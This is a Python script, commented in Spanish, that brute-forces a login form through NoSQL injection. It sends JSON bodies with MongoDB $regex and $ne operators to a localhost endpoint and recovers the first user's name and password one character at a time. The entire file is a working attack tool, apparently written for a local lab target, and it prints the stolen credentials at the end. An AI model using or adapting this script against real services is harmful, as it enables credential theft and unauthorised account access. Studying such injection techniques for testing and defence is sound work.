#!/usr/bin/env python
"""
Script para hacer un ataque de fuerza bruta a un login con NoSQL Injection.
Encuentra el primer usuario y su contraseña.
"""

import os
import requests
import signal
import string
import sys
import time

from pwn import *
from termcolor import colored


def def_handler(sig, frame):
    print(colored("\n\n[!] Saliendo...\n", "red"))
    sys.exit(1)


# Ctrl+C
signal.signal(signal.SIGINT, def_handler)


# Variables globales
login_url = "http://localhost:4000/user/login"
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
users_passwords = {}


def makeNoSQLIuser():

    os.system("clear")

    user = ""

    p1 = log.progress(colored("Bruteando user", "magenta"))
    p1.status(colored("Iniciando ataque", "cyan"))

    time.sleep(2)

    p2 = log.progress(colored("User", "magenta"))

    for position in range(0, 30):
        for char in characters:
            post_data = '{"username":{"$regex":"^%s%s"},"password":{"$ne": "admin"}}' % (
                user, char
            )

            p1.status(colored(post_data, "blue"))

            headers = {
                "Content-Type": "application/json"
            }

            r = requests.post(login_url, data=post_data, headers=headers)

            if "Logged in as user" in r.text:
                user += char
                p2.status(colored(user, "green"))
                break

    return user


def makeNoSQLIpass(user):

    os.system("clear")

    password = ""

    p1 = log.progress(colored(f"Bruteando password de {user}", "magenta"))
    p1.status(colored("Iniciando ataque", "cyan"))

    time.sleep(2)

    p2 = log.progress(colored("Password", "magenta"))

    for position in range(0, 50):
        for char in characters:
            user_json = '{"username":"%s","password"' % user
            post_data = user_json + ':{"$regex":"^%s%s"}}' % (
                password, char
            )

            p1.status(colored(post_data, "blue"))

            headers = {
                "Content-Type": "application/json"
            }

            r = requests.post(login_url, data=post_data, headers=headers)

            if "Logged in as user" in r.text:
                password += char
                p2.status(colored(password, "green"))
                break

    return password

if __name__ == '__main__':



    user = makeNoSQLIuser()

    password = makeNoSQLIpass(user)

    users_passwords[user] = password

    os.system("clear")
    time.sleep(1)

    for u, p in users_passwords.items():
        print(colored(f"\n[+] {u}:{p}\n", "green"))
